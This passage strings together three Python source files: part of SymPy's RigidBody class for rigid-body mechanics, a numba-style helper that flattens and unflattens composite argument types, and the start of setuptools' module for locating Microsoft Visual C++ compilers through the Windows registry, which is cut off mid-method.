    >>> B = RigidBody('B', P, A, m, inertia_tuple)
    >>> # Or you could change them afterwards
    >>> m2 = Symbol('m2')
    >>> B.mass = m2

    """

    def __init__(self, name, masscenter, frame, mass, inertia):
        if not isinstance(name, str):
            raise TypeError('Supply a valid name.')
        self._name = name
        self.masscenter = masscenter
        self.mass = mass
        self.frame = frame
        self.inertia = inertia
        self.potential_energy = 0

    def __str__(self):
        return self._name

    __repr__ = __str__

    @property
    def frame(self):
        return self._frame

    @frame.setter
    def frame(self, F):
        if not isinstance(F, ReferenceFrame):
            raise TypeError("RigdBody frame must be a ReferenceFrame object.")
        self._frame = F

    def get_frame(self):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.get_frame(self)",
                useinstead="property sympy.physics.mechanics." +
                    "RigidBody.frame",
                deprecated_since_version="0.7.7", issue=9800).warn()
        return self.frame

    def set_frame(self, F):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.set_frame(self, F)",
                useinstead="property sympy.physics.mechanics." +
                    "RigidBody.frame",
                deprecated_since_version="0.7.7", issue=9800).warn()
        self.frame = F

    @property
    def masscenter(self):
        return self._masscenter

    @masscenter.setter
    def masscenter(self, p):
        if not isinstance(p, Point):
            raise TypeError("RigidBody center of mass must be a Point object.")
        self._masscenter = p

    def get_masscenter(self):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.get_masscenter(self)",
                useinstead="property sympy.physics.mechanics." +
                    "RigidBody.masscenter",
                deprecated_since_version="0.7.7", issue=9800).warn()
        return self.masscenter

    def set_masscenter(self, p):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.set_masscenter(self, p)",
                useinstead="property sympy.physics.mechanics." +
                    "RigidBody.masscenter",
                deprecated_since_version="0.7.7", issue=9800).warn()
        self.masscenter = p

    @property
    def mass(self):
        return self._mass

    @mass.setter
    def mass(self, m):
        self._mass = sympify(m)

    def get_mass(self):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.get_mass(self)",
                useinstead="property sympy.physics.mechanics.RigidBody.mass",
                deprecated_since_version="0.7.7", issue=9800).warn()
        return self.mass

    def set_mass(self, m):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.set_mass(self, m)",
                useinstead="property sympy.physics.mechanics.RigidBody.mass",
                deprecated_since_version="0.7.7", issue=9800).warn()
        self.mass = m

    @property
    def inertia(self):
        return (self._inertia, self._inertia_point)

    @inertia.setter
    def inertia(self, I):
        if not isinstance(I[0], Dyadic):
            raise TypeError("RigidBody inertia must be a Dyadic object.")
        if not isinstance(I[1], Point):
            raise TypeError("RigidBody inertia must be about a Point.")
        self._inertia = I[0]
        self._inertia_point = I[1]
        # have I S/O, want I S/S*
        # I S/O = I S/S* + I S*/O; I S/S* = I S/O - I S*/O
        # I_S/S* = I_S/O - I_S*/O
        from sympy.physics.mechanics.functions import inertia_of_point_mass
        I_Ss_O = inertia_of_point_mass(self.mass,
                                       self.masscenter.pos_from(I[1]),
                                       self.frame)
        self._central_inertia = I[0] - I_Ss_O

    def get_inertia(self):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.get_inertia(self)",
                useinstead="property sympy.physics.mechanics." +
                    "RigidBody.inertia",
                deprecated_since_version="0.7.7", issue=9800).warn()
        return self.inertia

    def set_inertia(self, I):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.set_inertia(self, I)",
                useinstead="property sympy.physics.mechanics." +
                    "RigidBody.inertia",
                deprecated_since_version="0.7.7", issue=9800).warn()
        self.inertia = I

    @property
    def central_inertia(self):
        """The body's central inertia dyadic."""
        return self._central_inertia

    def linear_momentum(self, frame):
        """ Linear momentum of the rigid body.

        The linear momentum L, of a rigid body B, with respect to frame N is
        given by

        L = M * v*

        where M is the mass of the rigid body and v* is the velocity of
        the mass center of B in the frame, N.

        Parameters
        ==========

        frame : ReferenceFrame
            The frame in which linear momentum is desired.

        Examples
        ========

        >>> from sympy.physics.mechanics import Point, ReferenceFrame, outer
        >>> from sympy.physics.mechanics import RigidBody, dynamicsymbols
        >>> M, v = dynamicsymbols('M v')
        >>> N = ReferenceFrame('N')
        >>> P = Point('P')
        >>> P.set_vel(N, v * N.x)
        >>> I = outer (N.x, N.x)
        >>> Inertia_tuple = (I, P)
        >>> B = RigidBody('B', P, N, M, Inertia_tuple)
        >>> B.linear_momentum(N)
        M*v*N.x

        """

        return self.mass * self.masscenter.vel(frame)

    def angular_momentum(self, point, frame):
        """ Angular momentum of the rigid body.

        The angular momentum H, about some point O, of a rigid body B, in a
        frame N is given by

        H = I* . omega + r* x (M * v)

        where I* is the central inertia dyadic of B, omega is the angular
        velocity of body B in the frame, N, r* is the position vector from
        point O to the mass center of B, and v is the velocity of point O in
        the frame, N.

        Parameters
        ==========

        point : Point
            The point about which angular momentum is desired.

        frame : ReferenceFrame
            The frame in which angular momentum is desired.

        Examples
        ========

        >>> from sympy.physics.mechanics import Point, ReferenceFrame, outer
        >>> from sympy.physics.mechanics import RigidBody, dynamicsymbols
        >>> M, v, r, omega = dynamicsymbols('M v r omega')
        >>> N = ReferenceFrame('N')
        >>> b = ReferenceFrame('b')
        >>> b.set_ang_vel(N, omega * b.x)
        >>> P = Point('P')
        >>> P.set_vel(N, 1 * N.x)
        >>> I = outer (b.x, b.x)
        >>> Inertia_tuple = (I, P)
        >>> B = RigidBody('B', P, b, M, Inertia_tuple)
        >>> B.angular_momentum(P, N)
        omega*b.x

        """

        return ((self.central_inertia & self.frame.ang_vel_in(frame)) +
                (point.vel(frame) ^ -self.masscenter.pos_from(point)) *
                self.mass)

    def kinetic_energy(self, frame):
        """Kinetic energy of the rigid body

        The kinetic energy, T, of a rigid body, B, is given by

        'T = 1/2 (I omega^2 + m v^2)'

        where I and m are the central inertia dyadic and mass of rigid body B,
        respectively, omega is the body's angular velocity and v is the
        velocity of the body's mass center in the supplied ReferenceFrame.

        Parameters
        ==========

        frame : ReferenceFrame
            The RigidBody's angular velocity and the velocity of it's mass
            center are typically defined with respect to an inertial frame but
            any relevant frame in which the velocities are known can be supplied.

        Examples
        ========

        >>> from sympy.physics.mechanics import Point, ReferenceFrame, outer
        >>> from sympy.physics.mechanics import RigidBody
        >>> from sympy import symbols
        >>> M, v, r, omega = symbols('M v r omega')
        >>> N = ReferenceFrame('N')
        >>> b = ReferenceFrame('b')
        >>> b.set_ang_vel(N, omega * b.x)
        >>> P = Point('P')
        >>> P.set_vel(N, v * N.x)
        >>> I = outer (b.x, b.x)
        >>> inertia_tuple = (I, P)
        >>> B = RigidBody('B', P, b, M, inertia_tuple)
        >>> B.kinetic_energy(N)
        M*v**2/2 + omega**2/2

        """

        rotational_KE = (self.frame.ang_vel_in(frame) & (self.central_inertia &
                self.frame.ang_vel_in(frame)) / sympify(2))

        translational_KE = (self.mass * (self.masscenter.vel(frame) &
            self.masscenter.vel(frame)) / sympify(2))

        return rotational_KE + translational_KE

    @property
    def potential_energy(self):
        """The potential energy of the RigidBody.

        Examples
        ========

        >>> from sympy.physics.mechanics import RigidBody, Point, outer, ReferenceFrame
        >>> from sympy import symbols
        >>> M, g, h = symbols('M g h')
        >>> b = ReferenceFrame('b')
        >>> P = Point('P')
        >>> I = outer (b.x, b.x)
        >>> Inertia_tuple = (I, P)
        >>> B = RigidBody('B', P, b, M, Inertia_tuple)
        >>> B.potential_energy = M * g * h
        >>> B.potential_energy
        M*g*h

        """

        return self._pe

    @potential_energy.setter
    def potential_energy(self, scalar):
        """Used to set the potential energy of this RigidBody.

        Parameters
        ==========

        scalar: Sympifyable
            The potential energy (a scalar) of the RigidBody.

        Examples
        ========

        >>> from sympy.physics.mechanics import Particle, Point, outer
        >>> from sympy.physics.mechanics import RigidBody, ReferenceFrame
        >>> from sympy import symbols
        >>> b = ReferenceFrame('b')
        >>> M, g, h = symbols('M g h')
        >>> P = Point('P')
        >>> I = outer (b.x, b.x)
        >>> Inertia_tuple = (I, P)
        >>> B = RigidBody('B', P, b, M, Inertia_tuple)
        >>> B.potential_energy = M * g * h

        """

        self._pe = sympify(scalar)

    def set_potential_energy(self, scalar):
        SymPyDeprecationWarning(
                feature="Method sympy.physics.mechanics." +
                    "RigidBody.set_potential_energy(self, scalar)",
                useinstead="property sympy.physics.mechanics." +
                    "RigidBody.potential_energy",
                deprecated_since_version="0.7.7", issue=9800).warn()
        self.potential_energy = scalar

from __future__ import print_function, absolute_import

from collections import deque


class ArgPacker(object):
    """
    Compute the position for each high-level typed argument.
    It flattens every composite argument into primitive types.
    It maintains a position map for unflattening the arguments.

    Since struct (esp. nested struct) have specific ABI requirements (e.g.
    alignemnt, pointer address-space, ...) in different architecture (e.g.
    OpenCL, CUDA), flattening composite argument types simplifes the call
    setup from the Python side.  Functions are receiving simple primitive
    types and there are only a handful of these.
    """

    def __init__(self, dmm, fe_args):
        self._dmm = dmm
        self._fe_args = fe_args
        self._nargs = len(fe_args)
        self._dm_args = [self._dmm.lookup(ty) for ty in fe_args]
        argtys = [bt.get_argument_type() for bt in self._dm_args]
        self._unflattener = _Unflattener(argtys)
        self._be_args = list(_flatten(argtys))

    def as_arguments(self, builder, values):
        """Flatten all argument values
        """
        if len(values) != self._nargs:
            raise TypeError("invalid number of args")

        if not values:
            return ()

        args = [dm.as_argument(builder, val)
                for dm, val in zip(self._dm_args, values)]

        args = tuple(_flatten(args))
        return args

    def from_arguments(self, builder, args):
        """Unflatten all argument values
        """

        valtree = self._unflattener.unflatten(args)
        values = [dm.from_argument(builder, val)
                  for dm, val in zip(self._dm_args, valtree)]

        return values

    def assign_names(self, args, names):
        """Assign names for each flattened argument values.
        """

        valtree = self._unflattener.unflatten(args)
        for aval, aname in zip(valtree, names):
            self._assign_names(aval, aname)

    def _assign_names(self, val_or_nested, name, depth=()):
        if isinstance(val_or_nested, (tuple, list)):
            for pos, aval in enumerate(val_or_nested):
                self._assign_names(aval, name, depth=depth + (pos,))
        else:
            postfix = '.'.join(map(str, depth))
            parts = [name, postfix]
            val_or_nested.name = '.'.join(filter(bool, parts))

    @property
    def argument_types(self):
        """Return a list of LLVM types that are results of flattening
        composite types.
        """
        return tuple(ty for ty in self._be_args if ty != ())


def _flatten(iterable):
    """
    Flatten nested iterable of (tuple, list).
    """
    def rec(iterable):
        for i in iterable:
            if isinstance(i, (tuple, list)):
                for j in rec(i):
                    yield j
            else:
                yield i
    return rec(iterable)


_PUSH_LIST = 1
_APPEND_NEXT_VALUE = 2
_APPEND_EMPTY_TUPLE = 3
_POP = 4

class _Unflattener(object):
    """
    An object used to unflatten nested sequences after a given pattern
    (an arbitrarily nested sequence).
    The pattern shows the nested sequence shape desired when unflattening;
    the values it contains are irrelevant.
    """

    def __init__(self, pattern):
        self._code = self._build_unflatten_code(pattern)

    def _build_unflatten_code(self, iterable):
        """Build the unflatten opcode sequence for the given *iterable* structure
        (an iterable of nested sequences).
        """
        code = []
        def rec(iterable):
            for i in iterable:
                if isinstance(i, (tuple, list)):
                    if len(i) > 0:
                        code.append(_PUSH_LIST)
                        rec(i)
                        code.append(_POP)
                    else:
                        code.append(_APPEND_EMPTY_TUPLE)
                else:
                    code.append(_APPEND_NEXT_VALUE)

        rec(iterable)
        return code

    def unflatten(self, flatiter):
        """Rebuild a nested tuple structure.
        """
        vals = deque(flatiter)

        res = []
        cur = res
        stack = []
        for op in self._code:
            if op is _PUSH_LIST:
                stack.append(cur)
                cur.append([])
                cur = cur[-1]
            elif op is _APPEND_NEXT_VALUE:
                cur.append(vals.popleft())
            elif op is _APPEND_EMPTY_TUPLE:
                cur.append(())
            elif op is _POP:
                cur = stack.pop()

        assert not stack, stack
        assert not vals, vals

        return res

"""
Improved support for Microsoft Visual C++ compilers.

Known supported compilers:
--------------------------
Microsoft Visual C++ 9.0:
    Microsoft Visual C++ Compiler for Python 2.7 (x86, amd64)
    Microsoft Windows SDK 6.1 (x86, x64, ia64)
    Microsoft Windows SDK 7.0 (x86, x64, ia64)

Microsoft Visual C++ 10.0:
    Microsoft Windows SDK 7.1 (x86, x64, ia64)

Microsoft Visual C++ 14.0:
    Microsoft Visual C++ Build Tools 2015 (x86, x64, arm)
    Microsoft Visual Studio 2017 (x86, x64, arm, arm64)
    Microsoft Visual Studio Build Tools 2017 (x86, x64, arm, arm64)
"""

import os
import sys
import platform
import itertools
import distutils.errors
from pkg_resources.extern.packaging.version import LegacyVersion

from setuptools.extern.six.moves import filterfalse

from .monkey import get_unpatched

if platform.system() == 'Windows':
    from setuptools.extern.six.moves import winreg
    safe_env = os.environ
else:
    """
    Mock winreg and environ so the module can be imported
    on this platform.
    """

    class winreg:
        HKEY_USERS = None
        HKEY_CURRENT_USER = None
        HKEY_LOCAL_MACHINE = None
        HKEY_CLASSES_ROOT = None

    safe_env = dict()

try:
    from distutils.msvc9compiler import Reg
except ImportError:
    pass


def msvc9_find_vcvarsall(version):
    """
    Patched "distutils.msvc9compiler.find_vcvarsall" to use the standalone
    compiler build for Python (VCForPython). Fall back to original behavior
    when the standalone compiler is not available.

    Redirect the path of "vcvarsall.bat".

    Known supported compilers
    -------------------------
    Microsoft Visual C++ 9.0:
        Microsoft Visual C++ Compiler for Python 2.7 (x86, amd64)

    Parameters
    ----------
    version: float
        Required Microsoft Visual C++ version.

    Return
    ------
    vcvarsall.bat path: str
    """
    VC_BASE = r'Software\%sMicrosoft\DevDiv\VCForPython\%0.1f'
    key = VC_BASE % ('', version)
    try:
        # Per-user installs register the compiler path here
        productdir = Reg.get_value(key, "installdir")
    except KeyError:
        try:
            # All-user installs on a 64-bit system register here
            key = VC_BASE % ('Wow6432Node\\', version)
            productdir = Reg.get_value(key, "installdir")
        except KeyError:
            productdir = None

    if productdir:
        vcvarsall = os.path.os.path.join(productdir, "vcvarsall.bat")
        if os.path.isfile(vcvarsall):
            return vcvarsall

    return get_unpatched(msvc9_find_vcvarsall)(version)


def msvc9_query_vcvarsall(ver, arch='x86', *args, **kwargs):
    """
    Patched "distutils.msvc9compiler.query_vcvarsall" for support extra
    compilers.

    Set environment without use of "vcvarsall.bat".

    Known supported compilers
    -------------------------
    Microsoft Visual C++ 9.0:
        Microsoft Visual C++ Compiler for Python 2.7 (x86, amd64)
        Microsoft Windows SDK 6.1 (x86, x64, ia64)
        Microsoft Windows SDK 7.0 (x86, x64, ia64)

    Microsoft Visual C++ 10.0:
        Microsoft Windows SDK 7.1 (x86, x64, ia64)

    Parameters
    ----------
    ver: float
        Required Microsoft Visual C++ version.
    arch: str
        Target architecture.

    Return
    ------
    environment: dict
    """
    # Try to get environement from vcvarsall.bat (Classical way)
    try:
        orig = get_unpatched(msvc9_query_vcvarsall)
        return orig(ver, arch, *args, **kwargs)
    except distutils.errors.DistutilsPlatformError:
        # Pass error if Vcvarsall.bat is missing
        pass
    except ValueError:
        # Pass error if environment not set after executing vcvarsall.bat
        pass

    # If error, try to set environment directly
    try:
        return EnvironmentInfo(arch, ver).return_env()
    except distutils.errors.DistutilsPlatformError as exc:
        _augment_exception(exc, ver, arch)
        raise


def msvc14_get_vc_env(plat_spec):
    """
    Patched "distutils._msvccompiler._get_vc_env" for support extra
    compilers.

    Set environment without use of "vcvarsall.bat".

    Known supported compilers
    -------------------------
    Microsoft Visual C++ 14.0:
        Microsoft Visual C++ Build Tools 2015 (x86, x64, arm)
        Microsoft Visual Studio 2017 (x86, x64, arm, arm64)
        Microsoft Visual Studio Build Tools 2017 (x86, x64, arm, arm64)

    Parameters
    ----------
    plat_spec: str
        Target architecture.

    Return
    ------
    environment: dict
    """
    # Try to get environment from vcvarsall.bat (Classical way)
    try:
        return get_unpatched(msvc14_get_vc_env)(plat_spec)
    except distutils.errors.DistutilsPlatformError:
        # Pass error Vcvarsall.bat is missing
        pass

    # If error, try to set environment directly
    try:
        return EnvironmentInfo(plat_spec, vc_min_ver=14.0).return_env()
    except distutils.errors.DistutilsPlatformError as exc:
        _augment_exception(exc, 14.0)
        raise


def msvc14_gen_lib_options(*args, **kwargs):
    """
    Patched "distutils._msvccompiler.gen_lib_options" for fix
    compatibility between "numpy.distutils" and "distutils._msvccompiler"
    (for Numpy < 1.11.2)
    """
    if "numpy.distutils" in sys.modules:
        import numpy as np
        if LegacyVersion(np.__version__) < LegacyVersion('1.11.2'):
            return np.distutils.ccompiler.gen_lib_options(*args, **kwargs)
    return get_unpatched(msvc14_gen_lib_options)(*args, **kwargs)


def _augment_exception(exc, version, arch=''):
    """
    Add details to the exception message to help guide the user
    as to what action will resolve it.
    """
    # Error if MSVC++ directory not found or environment not set
    message = exc.args[0]

    if "vcvarsall" in message.lower() or "visual c" in message.lower():
        # Special error message if MSVC++ not installed
        tmpl = 'Microsoft Visual C++ {version:0.1f} is required.'
        message = tmpl.format(**locals())
        msdownload = 'www.microsoft.com/download/details.aspx?id=%d'
        if version == 9.0:
            if arch.lower().find('ia64') > -1:
                # For VC++ 9.0, if IA64 support is needed, redirect user
                # to Windows SDK 7.0
                message += ' Get it with "Microsoft Windows SDK 7.0": '
                message += msdownload % 3138
            else:
                # For VC++ 9.0 redirect user to Vc++ for Python 2.7 :
                # This redirection link is maintained by Microsoft.
                # Contact vspython@microsoft.com if it needs updating.
                message += ' Get it from http://aka.ms/vcpython27'
        elif version == 10.0:
            # For VC++ 10.0 Redirect user to Windows SDK 7.1
            message += ' Get it with "Microsoft Windows SDK 7.1": '
            message += msdownload % 8279
        elif version >= 14.0:
            # For VC++ 14.0 Redirect user to Visual C++ Build Tools
            message += (' Get it with "Microsoft Visual C++ Build Tools": '
                        r'http://landinghub.visualstudio.com/'
                        'visual-cpp-build-tools')

    exc.args = (message, )


class PlatformInfo:
    """
    Current and Target Architectures informations.

    Parameters
    ----------
    arch: str
        Target architecture.
    """
    current_cpu = safe_env.get('processor_architecture', '').lower()

    def __init__(self, arch):
        self.arch = arch.lower().replace('x64', 'amd64')

    @property
    def target_cpu(self):
        return self.arch[self.arch.find('_') + 1:]

    def target_is_x86(self):
        return self.target_cpu == 'x86'

    def current_is_x86(self):
        return self.current_cpu == 'x86'

    def current_dir(self, hidex86=False, x64=False):
        """
        Current platform specific subfolder.

        Parameters
        ----------
        hidex86: bool
            return '' and not '\x86' if architecture is x86.
        x64: bool
            return '\x64' and not '\amd64' if architecture is amd64.

        Return
        ------
        subfolder: str
            '\target', or '' (see hidex86 parameter)
        """
        return (
            '' if (self.current_cpu == 'x86' and hidex86) else
            r'\x64' if (self.current_cpu == 'amd64' and x64) else
            r'\%s' % self.current_cpu
        )

    def target_dir(self, hidex86=False, x64=False):
        r"""
        Target platform specific subfolder.

        Parameters
        ----------
        hidex86: bool
            return '' and not '\x86' if architecture is x86.
        x64: bool
            return '\x64' and not '\amd64' if architecture is amd64.

        Return
        ------
        subfolder: str
            '\current', or '' (see hidex86 parameter)
        """
        return (
            '' if (self.target_cpu == 'x86' and hidex86) else
            r'\x64' if (self.target_cpu == 'amd64' and x64) else
            r'\%s' % self.target_cpu
        )

    def cross_dir(self, forcex86=False):
        r"""
        Cross platform specific subfolder.

        Parameters
        ----------
        forcex86: bool
            Use 'x86' as current architecture even if current acritecture is
            not x86.

        Return
        ------
        subfolder: str
            '' if target architecture is current architecture,
            '\current_target' if not.
        """
        current = 'x86' if forcex86 else self.current_cpu
        return (
            '' if self.target_cpu == current else
            self.target_dir().replace('\\', '\\%s_' % current)
        )


class RegistryInfo:
    """
    Microsoft Visual Studio related registry informations.

    Parameters
    ----------
    platform_info: PlatformInfo
        "PlatformInfo" instance.
    """
    HKEYS = (winreg.HKEY_USERS,
             winreg.HKEY_CURRENT_USER,
             winreg.HKEY_LOCAL_MACHINE,
             winreg.HKEY_CLASSES_ROOT)

    def __init__(self, platform_info):
        self.pi = platform_info

    @property
    def visualstudio(self):
        """
        Microsoft Visual Studio root registry key.
        """
        return 'VisualStudio'

    @property
    def sxs(self):
        """
        Microsoft Visual Studio SxS registry key.
        """
        return os.path.join(self.visualstudio, 'SxS')

    @property
    def vc(self):
        """
        Microsoft Visual C++ VC7 registry key.
        """
        return os.path.join(self.sxs, 'VC7')

    @property
    def vs(self):
        """
        Microsoft Visual Studio VS7 registry key.
        """
        return os.path.join(self.sxs, 'VS7')

    @property
    def vc_for_python(self):
        """
        Microsoft Visual C++ for Python registry key.
        """
        return r'DevDiv\VCForPython'

    @property
    def microsoft_sdk(self):
        """
        Microsoft SDK registry key.
        """
        return 'Microsoft SDKs'

    @property
    def windows_sdk(self):
        """
        Microsoft Windows/Platform SDK registry key.
        """
        return os.path.join(self.microsoft_sdk, 'Windows')

    @property
    def netfx_sdk(self):
        """
        Microsoft .NET Framework SDK registry key.
        """
        return os.path.join(self.microsoft_sdk, 'NETFXSDK')

    @property
    def windows_kits_roots(self):
        """
        Microsoft Windows Kits Roots registry key.
        """
        return r'Windows Kits\Installed Roots'

    def microsoft(self, key, x86=False):
        """
        Return key in Microsoft software registry.

        Parameters
        ----------
        key: str
            Registry key path where look.
        x86: str
            Force x86 software registry.

        Return
        ------
        str: value
        """
        node64 = '' if self.pi.current_is_x86() or x86 else 'Wow6432Node'
        return os.path.join('Software', node64, 'Microsoft', key)

    def lookup(self, key, name):
        """
        Look for values in registry in Microsoft software registry.

        Parameters
        ----------
        key: str
            Registry key path where look.
        name: str
            Value name to find.

        Return
        ------
        str: value
        """
        KEY_READ = winreg.KEY_READ
        openkey = winreg.OpenKey
        ms = self.microsoft
        for hkey in self.HKEYS:
            try:
                bkey = openkey(hkey, ms(key), 0, KEY_READ)
            except (OSError, IOError):
                if not self.pi.current_is_x86():
                    try:
                        bkey = openkey(hkey, ms(key, True), 0, KEY_READ)
                    except (OSError, IOError):
                        continue
                else:
                    continue
            try:
                return winreg.QueryValueEx(bkey, name)[0]
            except (OSError, IOError):
                pass


class SystemInfo:
    """
    Microsoft Windows and Visual Studio related system inormations.

    Parameters
    ----------
    registry_info: RegistryInfo
        "RegistryInfo" instance.
    vc_ver: float
        Required Microsoft Visual C++ version.
    """

    # Variables and properties in this class use originals CamelCase variables
    # names from Microsoft source files for more easy comparaison.
    WinDir = safe_env.get('WinDir', '')
    ProgramFiles = safe_env.get('ProgramFiles', '')
    ProgramFilesx86 = safe_env.get('ProgramFiles(x86)', ProgramFiles)

    def __init__(self, registry_info, vc_ver=None):
        self.ri = registry_info
        self.pi = self.ri.pi
        self.vc_ver = vc_ver or self._find_latest_available_vc_ver()

    def _find_latest_available_vc_ver(self):
        try:
            return self.find_available_vc_vers()[-1]
        except IndexError:
            err = 'No Microsoft Visual C++ version found'
            raise distutils.errors.DistutilsPlatformError(err)

    def find_available_vc_vers(self):
        """
        Find all available Microsoft Visual C++ versions.
        """
        ms = self.ri.microsoft
        vckeys = (self.ri.vc, self.ri.vc_for_python, self.ri.vs)
        vc_vers = []
        for hkey in self.ri.HKEYS:
            for key in vckeys:
                try:
                    bkey = winreg.OpenKey(hkey, ms(key), 0, winreg.KEY_READ)
                except (OSError, IOError):
                    continue
                subkeys, values, _ = winreg.QueryInfoKey(bkey)
                for i in range(values):
                    try:
                        ver = float(winreg.EnumValue(bkey, i)[0])
                        if ver not in vc_vers:
                            vc_vers.append(ver)
                    except ValueError:
                        pass
                for i in range(subkeys):
                    try:
                        ver = float(winreg.EnumKey(bkey, i))
                        if ver not in vc_vers:
                            vc_vers.append(ver)
                    except ValueError:
                        pass
        return sorted(vc_vers)

    @property
    def VSInstallDir(self):
        """
        Microsoft Visual Studio directory.
        """
        # Default path
        name = 'Microsoft Visual Studio %0.1f' % self.vc_ver
        default = os.path.join(self.ProgramFilesx86, name)

        # Try to get path from registry, if fail use default path
        return self.ri.lookup(self.ri.vs, '%0.1f' % self.vc_ver) or default

    @property
    def VCInstallDir(self):
        """
        Microsoft Visual C++ directory.
        """
        self.VSInstallDir

        guess_vc = self._guess_vc() or self._guess_vc_legacy()

        # Try to get "VC++ for Python" path from registry as default path
        reg_path = os.path.join(self.ri.vc_for_python, '%0.1f' % self.vc_ver)
        python_vc = self.ri.lookup(reg_path, 'installdir')
        default_vc = os.path.join(python_vc, 'VC') if python_vc else guess_vc

        # Try to get path from registry, if fail use default path
        path = self.ri.lookup(self.ri.vc, '%0.1f' % self.vc_ver) or default_vc

        if not os.path.isdir(path):
            msg = 'Microsoft Visual C++ directory not found'
            raise distutils.errors.DistutilsPlatformError(msg)

        return path

    def _guess_vc(self):
        """
        Locate Visual C for 2017
        """
        if self.vc_ver <= 14.0:
            return

        default = r'VC\Tools\MSVC'
        guess_vc = os.path.join(self.VSInstallDir, default)
        # Subdir with VC exact version as name
        try:
            vc_exact_ver = os.listdir(guess_vc)[-1]
            return os.path.join(guess_vc, vc_exact_ver)
        except (OSError, IOError, IndexError):
            pass

    def _guess_vc_legacy(self):
        """
        Locate Visual C for versions prior to 2017
        """
        default = r'Microsoft Visual Studio %0.1f\VC' % self.vc_ver
        return os.path.join(self.ProgramFilesx86, default)

    @property
    def WindowsSdkVersion(self):
        """
        Microsoft Windows SDK versions for specified MSVC++ version.
        """
        if self.vc_ver <= 9.0:
            return ('7.0', '6.1', '6.0a')
        elif self.vc_ver == 10.0:
            return ('7.1', '7.0a')
        elif self.vc_ver == 11.0:
            return ('8.0', '8.0a')
        elif self.vc_ver == 12.0:
            return ('8.1', '8.1a')
        elif self.vc_ver >= 14.0:
            return ('10.0', '8.1')

    @property
    def WindowsSdkLastVersion(self):
        """
        Microsoft Windows SDK last version
        """
        return self._use_last_dir_name(os.path.join(
            self.WindowsSdkDir, 'lib'))

    @property
    def WindowsSdkDir(self):
        """
        Microsoft Windows SDK directory.
        """
        sdkdir = ''
        for ver in self.WindowsSdkVersion:
            # Try to get it from registry
            loc = os.path.join(self.ri.windows_sdk, 'v%s' % ver)
            sdkdir = self.ri.lookup(loc, 'installationfolder')
            if sdkdir:
                break
        if not sdkdir or not os.path.isdir(sdkdir):
            # Try to get "VC++ for Python" version from registry
            path = os.path.join(self.ri.vc_for_python, '%0.1f' % self.vc_ver)
            install_base = self.ri.lookup(path, 'installdir')
            if install_base:
                sdkdir = os.path.join(install_base, 'WinSDK')
        if not sdkdir or not os.path.isdir(sdkdir):
            # If fail, use default new path
            for ver in self.WindowsSdkVersion:
                intver = ver[:ver.rfind('.')]
                path = r'Microsoft SDKs\Windows Kits\%s' % (intver)
                d = os.path.join(self.ProgramFiles, path)
                if os.path.isdir(d):
                    sdkdir = d
        if not sdkdir or not os.path.isdir(sdkdir):
            # If fail, use default old path
            for ver in self.WindowsSdkVersion:
                path = r'Microsoft SDKs\Windows\v%s' % ver
                d = os.path.join(self.ProgramFiles, path)
                if os.path.isdir(d):
                    sdkdir = d
        if not sdkdir:
            # If fail, use Platform SDK
            sdkdir = os.path.join(self.VCInstallDir, 'PlatformSDK')
        return sdkdir

    @property
    def WindowsSDKExecutablePath(self):
        """
        Microsoft Windows SDK executable directory.
        """
        # Find WinSDK NetFx Tools registry dir name
        if self.vc_ver <= 11.0:
            netfxver = 35
            arch = ''
        else:
            netfxver = 40
            hidex86 = True if self.vc_ver <= 12.0 else False
            arch = self.pi.current_dir(x64=True, hidex86=hidex86)
        fx = 'WinSDK-NetFx%dTools%s' % (netfxver, arch.replace('\\', '-'))

        # liste all possibles registry paths
        regpaths = []
        if self.vc_ver >= 14.0:
            for ver in self.NetFxSdkVersion:
                regpaths += [os.path.join(self.ri.netfx_sdk, ver, fx)]

        for ver in self.WindowsSdkVersion:
            regpaths += [os.path.join(self.ri.windows_sdk, 'v%sA' % ver, fx)]

        # Return installation folder from the more recent path
        for path in regpaths:
            execpath = self.ri.lookup(path, 'installationfolder')
            if execpath:
                break
        return execpath

    @property
    def FSharpInstallDir(self):
        """
        Microsoft Visual F# directory.
        """
        path = r'%0.1f\Setup\F#' % self.vc_ver
        path = os.path.join(self.ri.visualstudio, path)
        return self.ri.lookup(path, 'productdir') or ''

    @property
    def UniversalCRTSdkDir(self):
        """
        Microsoft Universal CRT SDK directory.
        """
        # Set Kit Roots versions for specified MSVC++ version
        if self.vc_ver >= 14.0:
            vers = ('10', '81')
        else:
            vers = ()

        # Find path of the more recent Kit
        for ver in vers:
            sdkdir = self.ri.lookup(self.ri.windows_kits_roots,
                                    'kitsroot%s' % ver)
            if sdkdir:
                break
        return sdkdir or ''

    @property
    def UniversalCRTSdkLastVersion(self):
        """
        Microsoft Universal C Runtime SDK last version
        """
        return self._use_last_dir_name(os.path.join(
            self.UniversalCRTSdkDir, 'lib'))

    @property
    def NetFxSdkVersion(self):
        """
        Microsoft .NET Framework SDK versions.
        """
        # Set FxSdk versions for specified MSVC++ version
        if self.vc_ver >= 14.0:
            return ('4.6.1', '4.6')
        else:
            return ()

    @property
    def NetFxSdkDir(self):
        """
        Microsoft .NET Framework SDK directory.
        """
        for ver in self.NetFxSdkVersion:
            loc = os.path.join(self.ri.netfx_sdk, ver)
            sdkdir = self.ri.lookup(loc, 'kitsinstallationfolder')
            if sdkdir:
                break
        return sdkdir or ''

    @property
    def FrameworkDir32(self):
        """
        Microsoft .NET Framework 32bit directory.
        """
        # Default path
        guess_fw = os.path.join(self.WinDir, r'Microsoft.NET\Framework')

        # Try to get path from registry, if fail use default path
        return self.ri.lookup(self.ri.vc, 'frameworkdir32') or guess_fw

    @property
    def FrameworkDir64(self):
        """
        Microsoft .NET Framework 64bit directory.
        """
        # Default path
        guess_fw = os.path.join(self.WinDir, r'Microsoft.NET\Framework64')

        # Try to get path from registry, if fail use default path
        return self.ri.lookup(self.ri.vc, 'frameworkdir64') or guess_fw

    @property
    def FrameworkVersion32(self):
        """
        Microsoft .NET Framework 32bit versions.
        """
        return self._find_dot_net_versions(32)

    @property
    def FrameworkVersion64(self):
        """
